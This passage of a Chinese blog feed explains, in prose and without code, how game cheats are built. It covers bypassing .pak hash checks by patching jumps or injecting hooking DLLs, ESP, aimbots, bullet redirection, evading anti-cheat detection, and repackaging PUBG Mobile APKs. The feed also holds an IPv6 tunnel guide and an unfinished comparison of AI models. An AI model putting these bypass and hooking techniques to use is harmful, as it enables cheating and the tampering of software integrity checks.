<li><strong>修改可视化脚本（蓝图）：</strong> 通过专用编辑器，攻击者可以打开包含角色或武器逻辑的蓝图资源。蓝图是一个由节点和连线构成的逻辑流程图。攻击者可以像编辑流程图一样，直接断开“开火事件”节点与“应用后坐力”节点之间的连线。这样，即使参数文件完全正常，后坐力逻辑也永远不会被执行。</li>
</ul>
</li>
</ul><hr /></section><section><h4><strong>第三章：伪装与部署——绕过反作弊系统的检测</strong><a href="#第三章伪装与部署绕过反作弊系统的检测"><span>#</span></a></h4><p>仅仅修改并重新打包<code>.pak</code>文件是远远不够的。任何现代在线游戏都有反作弊系统，其第一道防线就是<strong>文件完整性校验</strong>。</p><p><strong>3.1 核心挑战：绕过哈希校验</strong></p><p>游戏启动时，反作弊系统会计算本地<code>.pak</code>文件的哈希值（如SHA-256），并与服务器端的官方哈希值比对。任何一个字节的修改都会导致哈希值剧变，从而验证失败。攻击者的应对策略是：</p><ul>
<li>
<p><strong>静态补丁（Patching the Executable）：</strong>
这是最“一劳永逸”的方法。攻击者逆向游戏的主程序，找到执行哈希计算和比对的代码段。然后，他们直接用十六进制编辑器修改二进制代码：</p>
<ul>
<li><strong>指令替换（NOPing out）：</strong> 将调用哈希计算函数的指令（如<code>CALL function_address</code>）替换为等长的<code>NOP</code>（No Operation，空操作）指令。这样程序会直接跳过计算步骤。</li>
<li><strong>条件跳转修改：</strong> 校验结果通常会跟着一个条件跳转指令（如<code>JNZ</code> - Jump if Not Zero，即“如果不相等则跳转”）。攻击者会将其修改为<code>JZ</code>（如果相等则跳转）或无条件跳转<code>JMP</code>，使得无论校验结果如何，程序都会执行“校验成功”的分支。</li>
</ul>
</li>
<li>
<p><strong>动态注入（Runtime Hooking）：</strong>
这种方法更为隐蔽，因为它不修改硬盘上的任何游戏文件。</p>
<ul>
<li><strong>创建注入DLL：</strong> 攻击者编写一个动态链接库（DLL）。</li>
<li><strong>注入进程：</strong> 在游戏启动时，通过一个“加载器（Loader）”程序将这个DLL注入到游戏进程的内存空间中。</li>
<li><strong>挂钩（Hook）关键函数：</strong> DLL被加载后，它会找到内存中负责文件读取或哈希计算的函数地址，然后用一个跳转指令将其重定向到DLL内部的自定义函数上。</li>
<li><strong>欺骗逻辑：</strong> 当游戏试图计算<code>.pak</code>文件的哈希时，被挂钩的函数会被触发。攻击者的自定义函数可以：1) 直接返回一个“硬编码”的、正确的官方哈希值，从而骗过校验程序。2) 当游戏读取文件时，拦截请求，从原始的、未被修改的<code>.pak</code>文件中读取数据给校验程序，而当游戏加载实际资源时，则从被篡改的<code>.pak</code>文件中读取。</li>
</ul>
</li>
</ul><p><strong>3.2 最终部署</strong></p><p>最终，一个完整的<code>.pak</code>作弊程序通常以一个“加载器”的形式分发给最终用户。用户运行加载器，加载器在后台完成DLL注入或内存补丁等所有绕过校验的操作，然后启动游戏。用户对此过程毫无感知，直接享受作弊功能。</p></section><section><h4><strong>结论</strong><a href="#结论"><span>#</span></a></h4><p>通过<code>.pak</code>文件作弊是一个涉及逆向工程、文件格式分析、二进制补丁和内存操作的系统性工程。它清晰地展示了客户端安全在“信任”与“验证”之间的脆弱平衡。尽管开发者通过加密、哈希校验和日益强大的服务器端权威验证来不断加固防线，但只要核心资源和部分逻辑仍然存在于客户端，这场围绕<code>.pak</code>文件的攻防战就将永无止境地持续下去。</p><hr /><p><strong>免责声明：</strong></p><p>本文内容旨在从技术角度深入分析游戏资源打包（.pak）文件的原理，以及利用其特性</p></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.mckero.com/posts/game-zhizhuang/</id>
      <title type="text">数字手术刀：深度剖析PUBG Mobile修改版客户端的技术架构</title>
      <published>2025-09-03T00:00:00.000Z</published>
      <updated>2025-09-03T00:00:00.000Z</updated>
      <author><name>MC_Kero</name></author>
      <link rel="alternate" href="https://blog.mckero.com/posts/game-zhizhuang/"/>
      <summary type="text">以学习和安全教育为目的，本文从逆向工程角度深度解析PUBG Mobile“直装外挂”的底层技术。内容涵盖APK解包、原生库分析、函数挂钩（Hooking），并详细揭示透视、自瞄、子弹追踪等作弊功能的实现原理及与反作弊系统的技术对抗。</summary>
      <content type="html"><![CDATA[<section><h1>Disclaimer and Important Warning<a href="#disclaimer-and-important-warning"><span>#</span></a></h1><p>This article aims to provide an in-depth analysis of the internal workings of modified game clients purely from the perspective of technical research and cybersecurity education. All content in this article is intended solely for learning, discussion, and revealing potential risks, with the goal of enhancing readers’ security awareness and understanding of underlying game technologies.The author strongly condemns and firmly opposes any form of game cheating. Creating, distributing, or using game cheats not only severely undermines the fairness of the gaming environment but also greatly harms both one’s own and others’ gaming experience. Additionally, installing modified applications from unknown sources poses significant security risks to your personal devices, including but not limited to account theft, personal privacy leaks, malware infections, and financial loss.Please adhere to the user agreements of game developers and maintain a healthy and fair gaming environment. Under no circumstances should the technical methods described in this article be used for illegal or destructive purposes. Any subsequent actions and consequences resulting from reading this article are the sole responsibility of the individual involved and have no relation to the author of this article.</p><section><h2><strong>免责声明与重要警告</strong><a href="#免责声明与重要警告"><span>#</span></a></h2><p><strong>本文旨在从纯粹的技术研究与网络安全教育角度，深入剖析游戏修改版客户端的内部工作原理。本文的一切内容仅用于学习、交流和揭示其潜在风险，目的在于提升读者的安全意识和对游戏底层技术的理解。</strong></p><p><strong>笔者强烈谴责并坚决反对任何形式的游戏作弊行为。制作、传播或使用游戏外挂不仅严重破坏了游戏的公平竞技环境，更是对自己和他人的游戏体验的极大伤害。此外，安装来源不明的修改版应用程序会给您的个人设备带来极高的安全风险，包括但不限于账号被盗、个人隐私泄露、设备感染恶意软件、财产损失等。</strong></p><p><strong>请遵守游戏开发商的用户协议，维护绿色健康的游戏环境。切勿尝试文中所述的任何技术手段用于非法或破坏性目的。因阅读本文而产生的一切后续行为及后果，由行为人自行承担，与本文作者无关。</strong></p><hr /></section><section><h2><strong>数字手术刀：深度剖析PUBG Mobile修改版客户端的技术架构</strong><a href="#数字手术刀深度剖析pubg-mobile修改版客户端的技术架构"><span>#</span></a></h2><section><h3>引言：看不见的战场<a href="#引言看不见的战场"><span>#</span></a></h3><p>在《和平精英》或《PUBG Mobile》的虚拟战场上，当你在草丛中谨慎前行，却被千里之外的一颗子弹精准命中；当你确信敌人仍在掩体之后，却发现对方早已洞悉你的所有动向——你可能遭遇了这场游戏背后，另一场看不见的战争：作弊与反作弊的较量。</p><p>网络上流传的所谓“直装外挂”，在技术领域被称为“修改版客户端”或“重打包应用（Repackaged APP）”。它并非一个需要额外运行的辅助程序，而是对官方游戏客户端本身进行的一场“外科手术”。作弊者将官方游戏App下载后，像拆解精密仪器一样将其分解，植入恶意的作弊代码，然后再将其缝合、打包，伪装成一个可直接安装的“增强版”游戏。</p><p>本文将化身为一名数字世界的病理学家，手持逆向工程这把“手术刀”，层层剖开修改版客户端的肌理，从代码层面揭示其透视、自瞄、子弹追踪等作弊功能的实现原理，并深入探讨其与游戏反作弊系统之间永无休止的“猫鼠游戏”。</p></section><section><h3>第一章：奠基工作——数字战场的逆向测绘<a href="#第一章奠基工作数字战场的逆向测绘"><span>#</span></a></h3><p>一切修改都始于理解。外挂制作者的首要任务，不是编写代码，而是对官方游戏客户端进行彻底的逆向工程（Reverse Engineering），将其从一个封闭的“黑箱”变成一份可以阅读的“蓝图”。</p><section><h4>1.1 APK的解剖：从安装包到源代码<a href="#11-apk的解剖从安装包到源代码"><span>#</span></a></h4><p>一个安卓应用的安装包（APK）并非铁板一块，它本质上是一个遵循特定目录结构的ZIP压缩文件。制作者会使用一系列专业工具对其进行解剖：</p><ul>
<li><strong><code>apktool</code></strong>：这是最基础的工具，能将APK解包，还原出<code>AndroidManifest.xml</code>等配置文件、<code>res</code>目录下的资源文件，以及最重要的——<code>classes.dex</code>文件。同时，它能将<code>.dex</code>文件反汇编成一种名为<strong>Smali</strong>的中间语言代码。</li>
<li><strong><code>dex2jar</code> &amp; <code>JD-GUI</code>/<code>JADX-GUI</code></strong>：这些工具能将<code>.dex</code>文件转换成Java的<code>.jar</code>包，并提供图形化界面，让我们能以更易读的Java代码形式来分析应用的逻辑。</li>
</ul><p>通过分析这部分Java/Kotlin层的代码（在Smali或Java形式下），制作者可以理解游戏的基础框架、启动流程、UI交互逻辑以及初步的安全校验机制。这通常是他们植入作弊菜单（一个悬浮窗，用于开关各种功能）和进行初步反反作弊操作的地方。</p></section><section><h4>1.2 深入核心：原生库（.so文件）的逆向<a href="#12-深入核心原生库so文件的逆向"><span>#</span></a></h4><p>对于像PUBG Mobile这样使用虚幻引擎4（Unreal Engine 4）开发的顶级游戏来说，Java层代码只是冰山一角。其真正的核心——游戏逻辑、物理引擎、图形渲染、网络通信——几乎全部是用C/C++语言编写，并编译成平台相关的原生动态链接库（<code>.so</code>文件），存放在APK的<code>lib</code>目录下。</p><p>这才是外挂制作者的主战场。他们需要动用更强大的“重武器”：</p><ul>
<li><strong>IDA Pro (Interactive Disassembler)</strong>：逆向工程领域的“圣杯”。它能够反汇编<code>.so</code>文件，将复杂的机器码转换为人类可读的ARM或x86汇编语言，甚至能通过其强大的F5插件将部分C++代码伪代码化，极大地帮助分析师理解程序逻辑。</li>
<li><strong>Ghidra</strong>：由美国国家安全局（NSA）开发的开源逆向工程套件，功能与IDA Pro类似，是免费替代品中的佼佼者。</li>
<li><strong>Frida</strong>：一个动态插桩（Dynamic Instrumentation）框架。它允许制作者在游戏运行时，像注射器一样将自己的代码“注入”到目标进程中，实时地“钩住”（Hook）并篡改函数行为、监控内存数据。这对于动态分析和调试至关重要。</li>
</ul><p>制作者会花费数百甚至数千小时，在IDA Pro中分析数百万行汇编代码，目标直指游戏的核心库，例如<code>libUE4.so</code>。他们的任务是定位出负责处理玩家数据、渲染画面、计算弹道、控制视角的关键函数和数据结构。这就像在没有图纸的情况下，试图理解一台航空发动机的每一个齿轮是如何啮合的。</p></section></section><section><h3>第二章：数字手术——核心作弊功能的实现原理<a href="#第二章数字手术核心作弊功能的实现原理"><span>#</span></a></h3><p>当“蓝图”绘制完成后，真正的“手术”开始了。制作者通过修改Smali代码或直接修改<code>.so</code>文件的二进制代码（称为Patching），或更普遍地，通过“函数挂钩”（Function Hooking）技术，来植入作弊功能。</p><p>函数挂钩，简单来说，就是在游戏调用一个正常函数（如<code>A()</code>）时，强行让它先去执行作弊者编写的恶意函数（如<code>B()</code>），<code>B()</code>执行完毕后，可以选择性地再返回去执行<code>A()</code>，或者直接伪造一个结果返回。这赋予了作弊者在游戏关键路径上为所欲为的能力。</p><section><h4>2.1 透视/ESP（Extra Sensory Perception）——洞悉万物的上帝之眼<a href="#21-透视espextra-sensory-perception洞悉万物的上帝之眼"><span>#</span></a></h4><ul>
<li>
<p><strong>游戏正常逻辑</strong>：在每一帧画面渲染前，虚幻引擎需要知道场景中所有“演员”（Actor，包括玩家、载具、物品等）的位置。为了优化性能，引擎会进行“视锥剔除”（Frustum Culling，只渲染镜头视野内的物体）和“遮挡剔除”（Occlusion Culling，不渲染被墙壁等物体完全挡住的物体）。因此，正常情况下，你看不见墙后的敌人。</p>
</li>
<li>
<p><strong>作弊实现原理</strong>：</p>
<ol>
<li><strong>定位核心数据</strong>：制作者首先通过逆向分析，定位到存储游戏中所有“演员”信息的全局数组或链表（在UE4中通常与<code>UWorld</code>、<code>GObjects</code>等核心对象相关）。</li>
<li><strong>遍历与筛选</strong>：通过Hook游戏的主循环函数（<code>Game Tick</code>），作弊代码可以在每一帧都去遍历这个全局数组。通过检查每个“演员”的类型、阵营等属性，筛选出所有的敌方玩家、高级物资和载具。</li>
<li><strong>坐标转换</strong>：对于每一个筛选出的目标，作弊代码会获取其在游戏世界中的三维坐标（World Coordinates）。然后，通过调用或复现游戏引擎内部的矩阵变换函数，将这个三维世界坐标转换为屏幕上的二维坐标（Screen Coordinates）。这个过程被称为“WorldToScreen”。</li>
<li><strong>绘制覆盖层（Overlay）</strong>：最后，通过Hook引擎的渲染函数（如<code>PostRender</code>或<code>DrawCanvas</code>），作弊代码获得在屏幕上绘图的权限。它利用上一步计算出的屏幕坐标，绘制出方框、射线、骨骼、距离信息、血量条等，并将这些图形叠加在正常的游戏画面之上。</li>
</ol>
<p>最终的效果就是，尽管游戏引擎本身没有渲染墙后的敌人模型，但作弊程序已经独立地获取了敌人的位置信息，并手动在你的屏幕上“画”了出来，为你开启了“上帝视角”。</p>
</li>
</ul></section><section><h4>2.2 自瞄（Aimbot）——机械般精准的杀戮本能<a href="#22-自瞄aimbot机械般精准的杀戮本能"><span>#</span></a></h4><ul>
<li>
<p><strong>游戏正常逻辑</strong>：玩家的准星移动是通过触摸屏或鼠标输入来改变“玩家控制器”（PlayerController）的视角（View Angles），这个视角通常由Pitch（俯仰）和Yaw（偏航）两个值决定。</p>
</li>
<li>
<p><strong>作弊实现原理</strong>：</p>
<ol>
<li><strong>数据依赖</strong>：自瞄功能严重依赖于ESP提供的数据。它需要实时知道所有敌人的屏幕坐标。</li>
<li><strong>目标选择</strong>：自瞄代码会根据预设逻辑（如“距离准星最近”、“血量最少”等）从所有可见的敌人中选择一个作为目标。</li>
<li><strong>角度计算</strong>：一旦目标确定，程序会计算出从当前屏幕中心（准星位置）到目标特定部位（如头部）的屏幕像素偏移量（deltaX, deltaY）。</li>
<li><strong>写入视角</strong>：最关键的一步。作弊者会找到控制玩家视角的内存地址或函数。当玩家按下开火键或满足特定触发条件时，作弊代码会根据像素偏移量计算出需要转动的精确角度，然后直接修改内存中的Pitch和Yaw值，使玩家的准星在一瞬间“吸”到目标身上。为了模拟人类操作，高级的自瞄还会加入平滑移动、延迟和随机偏移等功能，使其看起来不那么像机器。</li>
</ol>
</li>
</ul></section><section><h4>2.3 子弹追踪（Bullet Tracking）——违背物理的致命弧线<a href="#23-子弹追踪bullet-tracking违背物理的致命弧线"><span>#</span></a></h4><p>这是一种比自瞄更隐蔽、更强大的功能，俗称“魔术子弹”。</p><ul>
<li>
<p><strong>游戏正常逻辑</strong>：当你开火时，游戏客户端会根据你当前的朝向、枪械属性（初速、下坠系数）等信息，进行一次“射线投射”（Raycast）或创建一个子弹实体。这个投射会沿着预定弹道飞行，与场景中的物体进行碰撞检测，第一个命中的有效目标即为命中点，然后客户端将这个命中信息发送给服务器进行验证和伤害计算。</p>
</li>
<li>
<p><strong>作弊实现原理</strong>：</p>
<ol>
<li><strong>Hook开火事件</strong>：制作者会Hook处理开火逻辑的函数。</li>
<li><strong>篡改弹道</strong>：当玩家按下开火键时，作弊代码会立即介入。它并<strong>不改变玩家的准星位置</strong>，这使得从旁观者视角看，玩家的瞄准动作是正常的。</li>
<li><strong>实时重定向</strong>：作弊代码会利用ESP数据找到视野内（甚至视野外）的敌人。在游戏进行射线投射或计算子弹轨迹的瞬间，它会强行修改这次射击的起始方向向量（Direction Vector）或最终命中点坐标，使其直接指向选定的敌人。</li>
<li><strong>伪造命中</strong>：最终，客户端向服务器报告：“我的子弹，沿着一个看似正常的轨迹，恰好命中了那个敌人的头部。”由于服务器在大多数情况下无法完全模拟并校验每一颗子弹的复杂物理轨迹，尤其是在有延迟和预测的情况下，这种作弊在一定程度上能够欺骗服务器。</li>
</ol>
</li>
</ul><p>这种作弊方式极其隐蔽，因为玩家的屏幕准星和枪口朝向可能完全没有对准敌人，但子弹却“拐弯”击中了目标。</p></section></section><section><h3>第三章：猫鼠游戏——与反作弊系统的无尽战争<a href="#第三章猫鼠游戏与反作弊系统的无尽战争"><span>#</span></a></h3><p>你可能会问，既然修改如此直接，游戏厂商的反作弊系统（如腾讯的ACE）是做什么的？这就引出了这场战争中最精彩、最核心的部分。</p><p>外挂制作者声称的“稳定奔放”，其实是对反作弊系统进行了一系列复杂的“绕过”（Bypass）操作。这已经不再是简单的功能实现，而是涉及到系统底层、加密解密、行为欺骗的综合对抗。</p><section><h4>3.1 客户端的防御与突破<a href="#31-客户端的防御与突破"><span>#</span></a></h4><p>游戏的反作弊系统在客户端部署了重重防线：</p><ul>
<li><strong>文件完整性校验</strong>：启动时，游戏会计算自身核心文件（如<code>.so</code>、<code>.dex</code>）的哈希值，并与服务器上的标准值比对。
<ul>
<li><strong>绕过手段</strong>：制作者会找到执行校验的代码段，将其Patch掉，使其永远返回“校验通过”的结果。</li>
</ul>
</li>
<li><strong>内存扫描</strong>：反作弊系统会像杀毒软件一样，定期扫描游戏进程的内存空间，寻找已知的作弊代码特征码、被修改的内存区域（如<code>.text</code>代码段）或非法的Hook点。
<ul>
<li><strong>绕过手段</strong>：作弊者会对自己的代码进行加密、混淆和“加壳”，使其没有固定的特征码。同时，使用更高级的、不易被检测到的Hook技术。</li>
</ul>
</li>
<li><strong>环境检测</strong>：检测设备是否被Root或越狱，是否存在调试器（Debugger）附加，是否运行在模拟器上，以及是否加载了Frida等恶意框架。
<ul>
<li><strong>绕过手段</strong>：通过Hook系统底层API，欺骗反作弊系统的检测函数，让它认为设备环境“纯净如初”。</li>
</ul>
</li>
</ul></section><section><h4>3.2 服务器端的“天网”——行为数据分析<a href="#32-服务器端的天网行为数据分析"><span>#</span></a></h4><p>这正是为什么如今许多外挂“活不过三天”的根本原因。现代反作弊的核心已经从客户端转移到了服务器端。服务器不完全信任客户端上传的任何数据，它更像一个洞察全局的侦探，通过大数据和机器学习分析玩家的行为模式。</p><ul>
<li><strong>数据异常检测</strong>：服务器会持续分析你的战绩数据。如果你的爆头率、命中率、K/D比在短时间内出现不合常理的飙升，就会被标记为高度可疑。</li>
<li><strong>操作模式分析</strong>：你的每一次瞄准移动、每一次压枪轨迹都会被记录。自瞄的“拉扯”和“锁定”在数据层面与人类手腕的平滑移动有着天壤之别。服务器端的AI模型能够精准识别出这种“非人”操作。</li>
<li><strong>时空验证</strong>：服务器会粗略验证你的移动。如果你在两点之间的移动速度超过了游戏允许的最大值（例如使用了“加速”功能），服务器会立刻发现异常。</li>
<li><strong>举报与人工审查</strong>：当一个玩家被大量举报，系统会将其比赛录像（Replay）推送给审查员或更高级的AI进行分析。子弹追踪、透视等行为在录像中往往暴露无遗。</li>
</ul><p>因此，如今外挂与反作弊的对抗，已经演变成了：外挂制作者不仅要绕过客户端的层层检测，还要想方设法让作弊行为产生的数据“看起来像是真人操作”，以欺骗服务器端的“天网”。这是一场极其困难且注定会失败的伪装。</p></section></section><section><h3>第四章：封装与代价——从代码到致命的安装包<a href="#第四章封装与代价从代码到致命的安装包"><span>#</span></a></h3><p>当所有的代码修改和反作弊绕过都完成后，制作者会进行最后两步：</p><ol>
<li><strong>重新打包</strong>：使用<code>apktool</code>等工具，将所有被修改的文件与原始资源文件重新封装成一个新的APK文件。</li>
<li><strong>重签名</strong>：由于官方APK的签名私钥是保密的，修改后的APK破坏了原始签名。制作者必须使用自己的密钥（一个自签名证书）对这个新的APK进行签名。这就是为什么安装修改版客户端前，必须先卸载官方正版的原因——在安卓系统中，签名不同的两个应用被视为完全不同的程序，无法覆盖安装。</li>
</ol><p>这个被重新签名并打包的APK，便通过各种地下渠道流向了寻求“捷径”的玩家手中。然而，这条捷径的终点，往往是万丈深渊。</p></section><section><h3>第五章：不可承受的代价——当“外挂”变成“内鬼”<a href="#第五章不可承受的代价当外挂变成内鬼"><span>#</span></a></h3><p>选择安装直装外挂，无异于引狼入室。你所承担的风险，远超一个游戏账号本身。</p><ol>
<li><strong>账号的“死刑”</strong>：反作弊系统在不断更新，任何绕过都只是暂时的。一旦被检测系统追溯到，你的账号将面临的是通常长达十年的封禁。你投入的所有时间、金钱和情感将瞬间化为乌有。</li>
<li><strong>硬件设备的放逐</strong>：对于恶劣的作弊行为，游戏厂商会采取更严厉的措施——封禁你的设备识别码（IMEI/IDFA）。这意味着这台手机/平板将永远无法登录该游戏，成为一座“游戏孤岛”。</li>
<li><strong>网络安全的噩梦——真正的“木马”</strong>：你如何能相信一个以破坏规则为生的人会遵守对你的道德承诺？外挂制作者在你安装的修改版APK中，除了植入作弊功能，还可以轻而易举地植入任何恶意代码。他们可以：
<ul>
<li><strong>窃取你的个人信息</strong>：读取你的联系人、短信、相册。</li>
<li><strong>盗取你的各类账号</strong>：监控你的键盘输入，窃取你的社交媒体、银行App、支付应用的账号密码。</li>
<li><strong>将你的设备变成“肉鸡”</strong>：在后台进行加密货币挖矿、发起DDoS攻击，消耗你的设备性能和流量。</li>
</ul>
</li>
</ol><p>当你安装一个“直装外挂”时，你给予了它几乎所有的系统权限。它不再是你的“外挂”，而是潜伏在你设备心脏里的“内鬼”。</p></section><section><h3>结论：技术无罪，但滥用有毒<a href="#结论技术无罪但滥用有毒"><span>#</span></a></h3><p>从技术角度看，对游戏客户端的逆向分析与修改，是一项复杂且极具挑战性的工作，它体现了对系统底层深刻的理解。然而，当这种技术被用于制造破坏游戏公平的工具时，它就变成了一种“毒药”。</p><p>“直装外挂”的原理，是一场围绕游戏核心数据的争夺战。作弊者通过逆向工程窃取数据，通过代码注入来滥用数据，而反作弊系统则通过层层校验和行为分析来守护数据。这场战争没有真正的赢家。</p><p>对于普通玩家而言，最应该从这篇文章中读懂的，不是作弊如何实现，而是它背后隐藏的巨大风险和对竞技精神的无情践踏。真正的游戏乐趣，来源于自身的成长、团队的协作和对挑战的克服。任何试图绕过这个过程的“捷径”，最终通向的，都只会是虚无和悔恨。</p></section></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.mckero.com/posts/tunnelbroker-ip/</id>
      <title type="text">用tunnelbroker和warp获得全世界大部分ip</title>
      <published>2025-08-28T00:00:00.000Z</published>
      <updated>2025-09-05T00:00:00.000Z</updated>
      <author><name>MC_Kero</name></author>
      <link rel="alternate" href="https://blog.mckero.com/posts/tunnelbroker-ip/"/>
      <summary type="text">本文讲述了如何用tunnelbroker和warp获得全世界大部分ip。</summary>
      <content type="html"><![CDATA[<section><h1>用tunnelbroker和warp获得全世界大部分ip<a href="#用tunnelbroker和warp获得全世界大部分ip"><span>#</span></a></h1><section><h3>你需要<a href="#你需要"><span>#</span></a></h3><ul>
<li>一个vps</li>
<li>域名邮箱（用来注册tunnelbroker）</li>
</ul></section><section><h3>首先先注册tunnelbroker<a href="#首先先注册tunnelbroker"><span>#</span></a></h3><p><a href="https://tunnelbroker.net/" target="_blank">tunnelbroker网址</a></p><p>点左侧的Register
</p><figure><img alt="tunnelbroker-Register-pages" loading="lazy" width="597" height="650" src="/_astro/tunnelbroker-Register-pages.Dg6pnzgU_jhIKG.webp" /><figcaption>tunnelbroker-Register-pages</figcaption></figure><p></p><p>填写
</p><figure><img alt="tunnelbroker-Register" loading="lazy" width="413" height="637" src="/_astro/tunnelbroker-Register.BU-JvvXh_d0Dtp.webp" /><figcaption>tunnelbroker-Register</figcaption></figure>
Account Name是账户名，用来登录的。Email要填域名邮箱（免费邮箱好像不能注册tunnelbroker）你想要哪的IP就选哪个国家<p></p></section><section><h3>创建隧道<a href="#创建隧道"><span>#</span></a></h3><p></p><figure><img alt="tunnelbroker-Create-Regular-Tunnel" loading="lazy" width="569" height="1091" src="/_astro/tunnelbroker-create-regular-tunnel.Bb1OU_CF_ZnEQ2d.webp" /><figcaption>tunnelbroker-Create-Regular-Tunnel</figcaption></figure>
点Create Regular Tunnel，IPv4 Endpoint填写VPS的IPV4地址，VPS的IPV4地址要能ping通，Available Tunnel Servers选一个离VPS近的节点，最后点Create Tunnel创建隧道。<p></p></section><section><h3>IP分配<a href="#ip分配"><span>#</span></a></h3><p>Tunnelbroker会分配一个IPV6地址给我们，如果想要更多IPV6地址可以等注册账号的第二天分配48段。</p></section><section><h3>IP所属地修正<a href="#ip所属地修正"><span>#</span></a></h3><p>分配到IP后IP的所属地应该是别的国家，所以要提交IP地址修正。<a href="https://ipinfo.io/corrections" target="_blank">ipinfo.io修正</a>
<a href="https://www.maxmind.com/en/geoip-location-correction" target="_blank">Maxmind修正</a>还有很多数据库,也可以不提交定位修正。等到两周到一个月,也可能会修改。</p></section><section><h3>安装面板<a href="#安装面板"><span>#</span></a></h3><p>这里使用的是3x-ui面板<a href="https://github.com/MHSanaei/3x-ui" target="_blank">github链接</a>
安装好后，按照终端输出的链接和用户名登录，修改用户名和密码，配置入站链接，出战链接选warp,确定后再次编辑，域策略改成ForcelIpv6Ipv4,添加入站规则,Inbound Tags选刚刚入站规则的端口，Outbound Tag选择warp。</p></section><section><h3>为什么要使用warp?<a href="#为什么要使用warp"><span>#</span></a></h3><p>为什么要使用warp?因为我们获得的IP是ipv6的很多网站都不支持ipv6所以说我们需要套warp获得IPv4。</p></section><section><h3>感谢oftx<a href="#感谢oftx"><span>#</span></a></h3><p>今天在看Umami的时候看到了一个来自of.nz的访，我的小网站平时也没有什么人访问，我就点进去看<a href="https://0f.nz/posts/blog-favorites/" target="_blank">TxBlogF</a>我的这篇文章竟然上了<a href="https://of.nz/" target="_blank">of.nz</a>的博客文章收藏夹。</p></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.mckero.com/posts/chatgpt-5_vs_claude4/</id>
      <title type="text">ChatGPT-5与Claude 4相关智力对比</title>
      <published>2025-08-27T00:00:00.000Z</published>
      <updated>2025-08-27T00:00:00.000Z</updated>
      <author><name>MC_Kero</name></author>
      <link rel="alternate" href="https://blog.mckero.com/posts/chatgpt-5_vs_claude4/"/>
      <summary type="text">本文比较OpenAI的GPT-5（ChatGPT-5）与Anthropic的Claude 4系列，聚焦智力表现，包括短期推理、长期规划、工具/代理能力、编码与多模态理解，并给出应用场景与长期战略分析。</summary>
      <content type="html"><![CDATA[<section><h1>ChatGPT-5 与 Claude 4 的“智力”比较：能力、差异与长期影响<a href="#chatgpt-5-与-claude-4-的智力比较能力差异与长期影响"><span>#</span></a></h1><section><h2>引言<a href="#引言"><span>#</span></a></h2><p>本文比较 OpenAI 的 GPT-5（ChatGPT-5）与 Anthropic 的 Claude 4 系列，聚焦“智力”定义：短期推理、长期规划、工具/代理能力、编码与多模态理解。目标是给企业决策者、研发人员与高级用户一份可操作的对比与长期策略建议。</p><hr /></section><section><h2>一、两款模型的定位与宣称（概览）<a href="#一两款模型的定位与宣称概览"><span>#</span></a></h2><ul>
<li><strong>GPT-5（ChatGPT-5）</strong>：OpenAI 将其定位为旗舰模型，强调内建的“思考”机制与广泛的应用场景。</li>
<li><strong>Claude 4（Opus / Sonnet）</strong>：Anthropic 把 Claude 4 系列分工化，Opus 强调极致编码能力与持续长任务执行，Sonnet 强调响应性与实用编码支持。Anthropic 明确将其放在长期运行任务、代理与开发工作流上。</li>
</ul><hr /></section><section><h2>二、如何定义“智力”——可度量的维度<a href="#二如何定义智力可度量的维度"><span>#</span></a></h2><p>为避免空泛，建议用以下五个维度来衡量模型的“智力”表现：</p><ol>
<li><strong>短期推理速度与准确性</strong>（单步判断、数学推导）</li>
<li><strong>多步/长期规划能力</strong>（设定目标并持续执行）</li>
<li><strong>工具调用与代理化能力</strong>（API、外部执行、文件操作）</li>
<li><strong>编码与工程落地能力</strong>（复杂重构、自动测试、端到端工作流）</li>
<li><strong>多模态理解与事实保持</strong>（图像/文本混合理解与事实一致性）</li>
</ol><p>把上面五项作为评估基准，可让比较从主观印象转为可重复的测试。</p><hr /></section><section><h2>三、性能与能力对比（实务化观察）<a href="#三性能与能力对比实务化观察"><span>#</span></a></h2><section><h3>短期推理<a href="#短期推理"><span>#</span></a></h3><p>GPT-5 在短期推理任务上显示出更直接的解法偏好。它倾向于在有限长度内给出紧凑、可操作的答案，适合需要快速决策或高频交互的场景。</p></section><section><h3>长期规划与持续上下文<a href="#长期规划与持续上下文"><span>#</span></a></h3><p>Claude 4 系列被设计为在长时间上下文与多阶段任务中更稳定。Opus 与 Sonnet 在长任务与代理链上有优势。实测与行业评测也显示，Claude 在需要持续状态、生成大量代码与维护上下文一致性时更少中断。</p></section><section><h3>编码与工程自动化<a href="#编码与工程自动化"><span>#</span></a></h3><p>两家公司均宣称对编码能力做了大量优化。OpenAI 表示 GPT-5 在代码理解与生成上有大幅改进，并强调与开发工具链的整合。Anthropic 则把 Opus 定位为面向端到端软件生命周期支持的成员。实战评测指出：Claude 在完整性与可复现性上表现优，GPT-5 在速度与简洁解法上有优势。</p></section><section><h3>多模态与事实性<a href="#多模态与事实性"><span>#</span></a></h3><p>GPT-5 被宣传为更强的多模态理解与领域知识集成工具。两家都在减少“幻觉”上投入，但存在不同折衷：GPT-5 更注重事实校验与企业可用性；Claude 更注重在复杂任务中保持一致性与可审计的中间产物。</p><hr /></section></section><section><h2>四、优点与局限（务实清单）<a href="#四优点与局限务实清单"><span>#</span></a></h2><section><h3>GPT-5 的主要优点<a href="#gpt-5-的主要优点"><span>#</span></a></h3><ul>
<li>回应速度快，适合高交互场景。</li>
<li>广泛的多模态与领域适配承诺，便于知识工作者直接使用。</li>
<li>与大型生态（例如云平台）整合度高，便于企业部署。</li>
</ul></section><section><h3>GPT-5 的限制<a href="#gpt-5-的限制"><span>#</span></a></h3><ul>
<li>部分用户报告升级后语调或行为的变化，这对某些聊天式用例不利。</li>
<li>在极长上下文的持久一致性上，存在需要工程化解决的场景。</li>
</ul></section><section><h3>Claude 4 的主要优点<a href="#claude-4-的主要优点"><span>#</span></a></h3><ul>
<li>在长任务、编码与代理化工作流上更稳。</li>
<li>输出更详尽、有验证流程的中间产物，便于审计与自动化。</li>
</ul></section><section><h3>Claude 4 的限制<a href="#claude-4-的限制"><span>#</span></a></h3><ul>
<li>相对响应时间可能更长，成本与延迟需要权衡。</li>
<li>对需要交互式创造力或情感色彩的场景，用户体验可能不同。</li>
</ul><hr /></section></section><section><h2>五、应用选择建议（按任务与组织）<a href="#五应用选择建议按任务与组织"><span>#</span></a></h2><ul>
<li><strong>交互式知识工作</strong>（写作、快速顾问、客服原型）。优先考虑 GPT-5。理由：响应速度与通用知识覆盖。</li>
